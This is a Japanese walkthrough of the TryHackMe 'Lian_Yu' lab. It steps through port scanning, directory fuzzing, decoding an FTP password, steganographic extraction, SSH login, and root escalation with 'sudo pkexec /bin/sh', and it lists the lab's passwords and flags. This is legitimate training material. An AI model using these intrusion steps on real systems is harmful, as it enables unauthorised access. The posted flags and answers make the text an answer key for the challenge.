概要
TryHackMe「Lian_Yu」のWalkthroughです。
Task1
Q2.What is the Web Directory you found?
Hint.In numbers
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.17.209 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
| 2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
| 256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_ 256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36312/udp status
| 100024 1 38339/tcp status
| 100024 1 52159/udp6 status
|_ 100024 1 60498/tcp6 status
80
番ポートでWebサービスが動いているのでアクセスします。
ディレクトリの列挙を行います。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.181.78/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result -of md
[Status: 200, Size: 2506, Words: 365, Lines: 60, Duration: 239ms]
island [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 239ms]
/island
パスを発見しました。
このページではvigilante
というワードが隠されていました。
/island
配下に2100
パスを発見しました。
2100 [Status: 301, Size: 240, Words: 14, Lines: 8, Duration: 238ms]
A.2100
Q3.what is the file name you found?
Hint.How would you search a file/directory by extension?
/island/2100
のソースコードを見るとコメントを得られました。
問題文やヒントから.ticket
拡張子である可能性があります。
拡張子を指定してスキャンを行うとgreen_arrow.ticket
を発見しました。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.85.149/island/2100/FUZZ -e .ticket -recursion -recursion-depth 1 -ic -c -o ffuf_result -of md
green_arrow.ticket [Status: 200, Size: 71, Words: 10, Lines: 7, Duration: 239ms]
A.green_arrow.ticket
Q4.what is the FTP Password?
Hint.Looks like base? https://gchq.github.io/CyberChef/
/island/2100/green_arrow.ticket
にアクセスすると文字列を発見しました。
ヒントからbase*
のエンコードと予測できたのでデコードを試行すると、base58
でデコードできました。
$ echo -n "RTy8yhBQdscX" | base58 -d
!#th3h00d
A.!#th3h00d
Q5.what is the file name with SSH password?
Username: vigilante
,Password: !#th3h00d
でFTPのログインに成功しました。
$ ftp 10.10.85.149
Connected to 10.10.85.149.
220 (vsFTPd 3.0.2)
Name (10.10.85.149:kali): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
slade
というアカウントを発見しましたがディレクトリの中には何もありませんでした。
ftp> ls ../
229 Entering Extended Passive Mode (|||44667|).
150 Here comes the directory listing.
drwx------ 2 1000 1000 4096 May 01 2020 slade
drwxr-xr-x 2 1001 1001 4096 May 05 2020 vigilante
226 Directory send OK.
vigilante
ディレクトリの中を見ると画像ファイルを3つ発見しました。
ftp> ls
229 Entering Extended Passive Mode (|||24823|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png
-rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
とりあえず、3つ全てダウンロードします。
ftp> mget *
Leave_me_alone.png
がエラーで開けませんでした。
バイナリを見るとマジックナンバーがPNGではないとわかりました。
マジックナンバーを89 50 4E 47 0D 0A 1A 0A
に編集し画像を復元しました。
Passwrod: password
を使用してaa.jpg
からss.zip
ファイルを抽出できました。
$ steghide extract -sf aa.jpg
Enter passphrase:
wrote extracted data to "ss.zip".
ss.zip
から二つのファイルを入手できました。
$ unzip ss.zip
Archive: ss.zip
inflating: passwd.txt
inflating: shado
This is your visa to Land on Lian_Yu # Just for Fun ***
a small Note about it
Having spent years on the island, Oliver learned how to be resourceful and
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
M3tahuman
A.shado
Q6.user.txt
Username: slade
,Password: M3tahuman
でSSH接続に成功しました。
$ ssh slade@10.10.85.149
slade@10.10.85.149's password:
Way To SSH...
Loading.........Done..
Connecting To Lian_Yu Happy Hacking
██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███╗ ███╗███████╗██████╗
██║ ██║██╔════╝██║ ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗ ██║ ██║ ██║ ██║██╔████╔██║█████╗ █████╔╝
██║███╗██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗
██║ ██║██╔══██╗████╗ ██║ ╚██╗ ██╔╝██║ ██║
██║ ██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║
██║ ██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║
███████╗██║██║ ██║██║ ╚████║███████╗██║ ╚██████╔╝
╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ #
slade@LianYu:~$
/home/slade/user.txt
からユーザーフラグを入手できます。
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
--Felicity Smoak
A.THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
Q7.root.txt
sudo -l
で確認すると/usr/bin/pkexec
がヒットしました。
$ cat .bash_history
Sorry I couldn't Help
slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
GTFOBinsから権限昇格の脆弱性を発見しました。
root権限を取得出来ました。
$ sudo pkexec /bin/sh
# whoami
root
/root/root.txt
からルートフラグを入手できます。
Mission accomplished
You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.
THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
--DEATHSTROKE
Let me know your comments about this machine :)
I will be available @twitter @User6825
A.THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}